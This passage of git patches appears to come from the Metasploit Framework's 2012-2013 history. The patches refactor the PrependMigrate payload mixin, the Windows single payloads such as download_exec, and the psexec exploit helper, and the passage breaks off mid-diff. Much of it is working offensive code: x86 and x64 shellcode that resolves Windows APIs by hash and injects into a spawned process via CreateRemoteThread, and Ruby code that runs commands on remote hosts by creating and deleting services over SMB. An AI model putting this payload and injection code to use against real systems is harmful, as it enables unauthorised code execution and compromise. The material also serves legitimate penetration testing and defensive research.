@@ -483,7 +483,7 @@ start: mov r9,rbx ; shellcode mov r8, rcx ; stacksize ;rdx already equals 0 ; lpThreadAttributes - mov rcx, [rdi] + mov rcx, [rdi] mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) call rbp ; CreateRemoteThread( ...); From 16d065adfcd6e2cce761a7d6d4d56b64cc167644 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Fri, 30 Nov 2012 08:14:27 -0600 Subject: [PATCH 019/341] Fix issue with singles. Single now plays more nicely with other mixins, so PrependMigrate works. --- lib/msf/core/payload/single.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/single.rb b/lib/msf/core/payload/single.rb index 7a78b489bc..e97560c247 100644 --- a/lib/msf/core/payload/single.rb +++ b/lib/msf/core/payload/single.rb @@ -37,7 +37,7 @@ module Msf::Payload::Single # Otherwise, just use the default method to generate the single # payload else - internal_generate + super end end end From 52251867d876628edc31dce4490f823968fdea01 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sat, 1 Dec 2012 14:39:23 -0600 Subject: [PATCH 020/341] Ensure Windows single payloads use payload backend This means the singles that define their own assembly will use the payload backend to generate it. --- lib/msf/core/payload.rb | 9 +++++++++ modules/payloads/singles/windows/dns_txt_query_exec.rb | 3 ++- modules/payloads/singles/windows/download_exec.rb | 3 ++- modules/payloads/singles/windows/messagebox.rb | 3 ++- 4 files changed, 15 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index b4154b0717..d8bb963a68 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -185,6 +185,15 @@ class Payload < Msf::Module return module_info['Payload'] ? module_info['Payload']['Assembly'] : nil end + # + # Sets the assembly string that describes the payload + # If this method is used to define the payload, a payload with no offsets will be created + # + def assembly=(asm) + module_info['Payload'] ||= {'Offsets' => {} } + module_info['Payload']['Assembly'] = asm + end + # # Returns the offsets to variables that must be substitute, if any. # diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 213ff6dcf3..b0e6d146f9 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -253,6 +253,7 @@ jump_to_payload: EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end end diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index cef4369431..3d6b096e57 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -387,6 +387,7 @@ server_host: db "#{server_host}", 0x00 end: EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end end diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index 7aca7e92aa..46ecba9e6a 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -266,7 +266,8 @@ start_main: ;EXITFUNC #{doexit} EOS - the_payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string + self.assembly = payload_data + super end # From 07bf36f62fc6a3884da776d4dc37dbb6cecdd6e1 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Fri, 18 Jan 2013 17:32:50 -0600 Subject: [PATCH 021/341] Ensure shell still works if PrependMigrateProc fails to launch. Don't rely on GetStartupInfoA return value. --- lib/msf/core/payload/windows.rb | 153 ++++++++++++++++++-------------- 1 file changed, 86 insertions(+), 67 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 6761c80782..752f1c9522 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -75,14 +75,32 @@ module Msf::Payload::Windows if test_arch.include?(ARCH_X86) # PrependMigrate if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' - payloadsize = "0x%04x" % buf.length - procname = datastore['PrependMigrateProc'] || 'rundll32' + migrate_asm = prepend_migrate(buf) + pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string + end + # Handle all x64 code here + elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) + # PrependMigrate + if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + migrate_asm = prepend_migrate_64(buf) + pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string + end + end + return (pre + buf) + end - # Prepare instructions to get address of block_api into ebp - block_api_start = < Date: Fri, 18 Jan 2013 17:45:36 -0600 Subject: [PATCH 022/341] Move PrependMigrate to a mixin --- lib/msf/core/payload/windows.rb | 474 +---------------- .../core/payload/windows/prependmigrate.rb | 491 ++++++++++++++++++ 2 files changed, 494 insertions(+), 471 deletions(-) create mode 100644 lib/msf/core/payload/windows/prependmigrate.rb diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 752f1c9522..55475251a0 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -1,5 +1,6 @@ # -*- coding: binary -*- require 'msf/core' +require 'msf/core/payload/windows/prependmigrate' ### # @@ -11,6 +12,8 @@ require 'msf/core' ### module Msf::Payload::Windows + include Msf::Payload::PrependMigrate + # # ROR hash associations for some of the exit technique routines. # @@ -53,480 +56,9 @@ module Msf::Payload::Windows [ Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ]) ], Msf::Payload::Windows ) - register_advanced_options( - [ - Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]), - Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ]) - ], Msf::Payload::Windows ) ret end - # - # Overload the generate() call to prefix our stubs - # - def generate(*args) - # Call the real generator to get the payload - buf = super(*args) - pre = '' - - test_arch = [ *(self.arch) ] - - # Handle all x86 code here - if test_arch.include?(ARCH_X86) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' - migrate_asm = prepend_migrate(buf) - pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string - end - # Handle all x64 code here - elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' - migrate_asm = prepend_migrate_64(buf) - pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string - end - end - return (pre + buf) - end - - # - # Create assembly - # - def prepend_migrate(buf) - payloadsize = "0x%04x" % buf.length - procname = datastore['PrependMigrateProc'] || 'rundll32' - - # Prepare instructions to get address of block_api into ebp - block_api_start = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module -;-------------------------------------------------------------------------------------- -EOS - block_api_ebp_asm = <Ldr - mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name -loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table - mov rdx, [rdx+32] ; Get this modules base address - mov eax, dword [rdx+60] ; Get PE header - add rax, rdx ; Add the modules base address - mov eax, dword [rax+136] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names - mov r8d, dword [rax+32] ; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - xor r9, r9 ; Clear r9 which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; pop off the return address - sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; push back the return address - jmp rax ; Jump into the required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module -EOS - block_api_rbp_asm = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module +;-------------------------------------------------------------------------------------- +EOS + block_api_ebp_asm = <Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name +loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... +finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module +EOS + block_api_rbp_asm = < Date: Fri, 18 Jan 2013 18:04:09 -0600 Subject: [PATCH 023/341] Ensure prepend_migrate? always functions correctly. --- lib/msf/core/exploit.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index dd68fb16b0..c09ff83cbe 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1248,7 +1248,7 @@ class Exploit < Msf::Module # for discussion. # def prepend_migrate? - datastore['PrependMigrate'] + !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') end ## From 81625121f2ba68ef3ff7d76fc7f7e61e584a33f0 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Tue, 22 Jan 2013 09:49:03 -0600 Subject: [PATCH 024/341] Cleaned up some code spacing --- lib/msf/core/exploit/psexec.rb | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index b10e1453f3..b4292004da 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -13,6 +13,7 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB + # Retrives output from the executed command # @param smbshare [String] The SMBshare to connect to. Usually C$ # @param ip [IP Address] Remote Host to Connect To @@ -21,7 +22,6 @@ module Exploit::Remote::Psexec # @return output or nil if fails def get_output(smbshare, ip, file) begin - print_status("Getting the command output...") simple.connect("\\\\#{ip}\\#{smbshare}") outfile = simple.open(file, 'ro') output = outfile.read @@ -42,14 +42,11 @@ module Exploit::Remote::Psexec # @param command [String] Should be a valid windows command # @return true if everything wen't well def psexec(command) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("#{peer} - Bound to #{handle} ...") - vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil stubdata = @@ -63,16 +60,13 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - servicename = Rex::Text.rand_text_alpha(11) displayname = Rex::Text.rand_text_alpha(16) holdhandle = scm_handle svc_handle = nil svc_status = nil - stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand @@ -96,18 +90,15 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end - vprint_status("#{peer} - Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] @@ -116,7 +107,6 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) @@ -128,7 +118,6 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Removing the service...") stubdata = svc_handle @@ -139,19 +128,18 @@ module Exploit::Remote::Psexec rescue ::Exception => e print_error("#{peer} - Error: #{e}") end - vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("#{peer} - Error: #{e}") end - select(nil, nil, nil, 1.0) simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") return true end + # This method is called by file_dropper to remove files droped # By your module # @@ -166,6 +154,7 @@ module Exploit::Remote::Psexec psexec(delete) end + # This method stores files in an Instance array # The files are then deleted from the remote host once # the cleanup_after method is called @@ -178,6 +167,7 @@ module Exploit::Remote::Psexec @dropped_files += file end + # This method removes any files that were dropped on the remote system # and marked with the register_file_for_cleanup method def cleanup_after From 32aa2c6d9c7ef65c385b76b887b81323925a1a6f Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 22 Jan 2013 13:25:27 -0600 Subject: [PATCH 025/341] Make asm spacing easier to read Also adds a #prepends callback to Payload::Windows to make it a little clearer what's happening. --- lib/msf/core/exploit.rb | 9 - lib/msf/core/payload/windows.rb | 14 +- .../core/payload/windows/prependmigrate.rb | 769 +++++++++--------- 3 files changed, 400 insertions(+), 392 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index c09ff83cbe..6d2afc913d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1242,15 +1242,6 @@ class Exploit < Msf::Module not datastore['DisablePayloadHandler'] end - # - # Returns the state of the PrependMigrate option - # See https://github.com/rapid7/metasploit-framework/pull/917 - # for discussion. - # - def prepend_migrate? - !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') - end - ## # # Handler interaction diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 55475251a0..78edd966ad 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -12,7 +12,7 @@ require 'msf/core/payload/windows/prependmigrate' ### module Msf::Payload::Windows - include Msf::Payload::PrependMigrate + include Msf::Payload::Windows::PrependMigrate # # ROR hash associations for some of the exit technique routines. @@ -25,6 +25,18 @@ module Msf::Payload::Windows 'none' => 0x5DE2C5AA, # GetLastError } + + # @abstract Override to add additional stubs to prepend to the final + # shellcode. Be sure to call super so other modules may add stubs. + # @return [String] Stub to place at the begginning of generated shellcode + def prepends + "" + end + + def generate(*args) + return prepends + super + end + # # This mixin is chained within payloads that target the Windows platform. # It provides special variable substitution for things like EXITFUNC and diff --git a/lib/msf/core/payload/windows/prependmigrate.rb b/lib/msf/core/payload/windows/prependmigrate.rb index ca63ae3f2e..a1c8c6b2d7 100644 --- a/lib/msf/core/payload/windows/prependmigrate.rb +++ b/lib/msf/core/payload/windows/prependmigrate.rb @@ -5,7 +5,7 @@ require 'msf/core' # This mixin provides support for generating PrependMigrate blocks for Windows payloads # ### -module Msf::Payload::PrependMigrate +module Msf::Payload::Windows::PrependMigrate # # Initialize @@ -21,27 +21,32 @@ module Msf::Payload::PrependMigrate ret end + # + # Returns the state of the PrependMigrate option + # See https://github.com/rapid7/metasploit-framework/pull/917 + # for discussion. + # + def prepend_migrate? + !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') + end + # # Overload the generate() call to prefix our stubs # - def generate(*args) + def prepends # Call the real generator to get the payload - buf = super(*args) + buf = super pre = '' test_arch = [ *(self.arch) ] - # Handle all x86 code here - if test_arch.include?(ARCH_X86) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + if prepend_migrate? + # Handle all x86 code here + if test_arch.include?(ARCH_X86) migrate_asm = prepend_migrate(buf) pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string - end - # Handle all x64 code here - elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) - # PrependMigrate - if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + # Handle all x64 code here + elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) migrate_asm = prepend_migrate_64(buf) pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string end @@ -57,96 +62,96 @@ module Msf::Payload::PrependMigrate procname = datastore['PrependMigrateProc'] || 'rundll32' # Prepare instructions to get address of block_api into ebp - block_api_start = <Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want -loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore 